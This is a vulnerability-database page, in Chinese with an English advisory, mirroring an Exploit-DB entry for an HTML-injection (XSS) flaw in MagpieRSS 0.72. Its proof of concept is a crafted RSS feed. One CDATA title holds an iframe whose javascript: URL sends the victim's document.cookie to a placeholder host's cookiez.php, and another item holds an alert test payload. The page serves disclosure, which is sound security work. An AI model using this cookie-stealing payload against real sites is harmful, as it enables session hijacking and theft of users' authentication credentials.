MagpieRSS 0.72 - CDATA HTML Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057054 漏洞类型
发布时间 2008-12-29 更新时间 2008-12-29
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Multiple CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/32686
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/33044/info

MagpieRSS is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

MagpieRSS 0.72 is vulnerable; other versions may also be affected.

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">

<channel>
<title><![CDATA["><iframe src="javascript:window.location='http://www.example.com/cookiez.php?c='+document.cookie"></iframe><a lol="]]></title>
<description>XSS test</description>

<item>
<title><![CDATA[z0mG?!]]></title>
<link><![CDATA[what teh hax?!]]></link>

<description>
<![CDATA[
"><iframe src="javascript:alert(/xss/)"></iframe>
]]>
</description>
</item>

</channel>
</rss>